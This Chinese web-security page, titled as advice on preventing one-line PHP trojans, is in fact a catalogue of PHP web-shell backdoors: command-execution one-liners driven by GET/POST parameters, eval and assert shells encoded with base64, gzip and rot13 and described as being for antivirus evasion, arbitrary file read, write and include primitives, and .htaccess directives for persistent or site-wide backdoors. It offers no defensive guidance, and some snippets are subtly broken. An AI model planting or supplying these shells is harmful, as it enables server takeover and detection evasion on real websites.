> 网络安全 > 网站安全 >

PHP木马大全 一句话的PHP木马的防范

php后门木马常用的函数大致上可分为四种类型: 

  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 

  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 

  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 

  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 

  1. 执行系统命令: 

  system 函数 

  //test.php?cmd=ls 

  system($_GET[cmd]); 

  passthru 函数 

  //test.php?cmd=ls 

  passthru($_GET[cmd]); 

  shell_exec 函数 

  //test.php?cmd=ls 

  echo shell_exec($_GET[cmd]); 

  exec 函数 

  //test.php?cmd=ls 

  $arr = array(); 

  exec($_GET[cmd],$arr); 

  print_r($arr); 

  popen 函数 

  //test.php?cmd=ls 

  $handle = popen('$_GET[cmd], 'r'); 

  $read = fread($handle, 2096); 

  echo $read; 

  pclose($handle); 

  proc_open 函数 

  //test.php?cmd=ls 

  $descriptorspec = array( 

  0 => array('pipe', 'r'), 

  1 => array('pipe', 'w'), 

  2 => array('pipe', 'w'), 

  ); 

  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); 

  fclose($pipes[0]); 

  $output = array(); 

  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); 

  print_r($output); 

  2. 代码执行与加密: 

  eval 函数 

  //最常见的一句话木马 

  eval($_POST[cmd]); 

  base64_decode 函数 

  //为了免杀及隐藏而加密代码 

  //密文: eval($_POST['cmd']); 

  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); 

  gzinflate 函数 

  //为了免杀及隐藏而加密代码 

  //密文: eval($_POST['cmd']); 

  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); 

  gzuncompress 函数 

  //为了免杀及隐藏而加密代码 

  //密文: eval($_POST['cmd']); 

  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); 

  gzdecode 函数 

  //为了免杀及隐藏而加密代码 

  //密文: eval($_POST['cmd']); 

  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); 

  str_rot13 函数 

  //为了免杀及隐藏而加密代码 

  //密文: eval($_POST[cmd]); 

  eval(str_rot13('riny($_CBFG[pzq]);')); 

  assert 函数 

  //类似eval函数 

  assert($_POST[cmd]); 

  call_user_func 函数 

  //使用call_user_func调用assert 

  call_user_func('assert',$_POST[cmd]); 

  call_user_func 函数 

  //使用call_user_func调用任意函数 

  //test.php?a=assert&cmd=phpinfo() 

  call_user_func($_GET[a],$_REQUEST[cmd]); 

  组合代码 

  //组合方式调用任意函数 

  //test.php?a=assert&cmd=phpinfo() 

  $_GET[a]($_REQUEST[cmd]); 

  3. 文件包含与生成: 

  require 函数 

  //包含任意文件 

  //test.php?file=123.jpg 

  require($_GET[file]); 

  require_once 函数 

  //包含任意文件 

  //test.php?file=123.jpg 

  require_once($_GET[file]); 

  include 函数 

  //包含任意文件 www.jb51.net 

  //test.php?file=123.jpg 

  include($_GET[file]); 

  include_once 函数 

  //包含任意文件 

  //test.php?file=123.jpg 

  include_once($_GET[file]); 

  file_get_contents 函数 

  //读取任意文件 

  //test.php?f=config.inc.php 

  echo file_get_contents($_GET['f']); 

  file_put_contents 函数 

  //生成任意内容文件 

  //a=test.php&b= 

  file_put_contents($_GET[a],$_GET[b]); 

  fputs 函数 

  //生成任意内容文件 

  //a=test.php&b= 

  fputs(fopen($_GET[a],"w"),$_GET[b]); 

  4. .htaccess: 

  SetHandler 

  //可将php代码存于非php后缀文件,例: x.jpg 

  //将以下代码写入.htaccess中 

  //连接x.jpg即可启动后门木马出处www.admin8.us 

   

  SetHandler application/x-httpd-php 

   

  auto_prepend_file 

  //可将php代码存于非php后缀文件,例: 123.gif 

  //将以下代码写入.htaccess中, 文件路径必须是绝对路径 

  //访问网站上任何php文件都会启动该php后门木马 

  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 

  php_value auto_prepend_file c:/apache2/htdocs/123.gif 

  auto_append_file 

  //类似auto_prepend_file 

  //可将php代码存于非php后缀文件,例: 123.gif 

  //将以下代码写入.htaccess中, 文件路径必须是绝对路径 

  //访问网站上任何php文件都会启动该php后门木马 

  php_value auto_append_file c:/apache2/htdocs/123.gif 
(责任编辑:IT)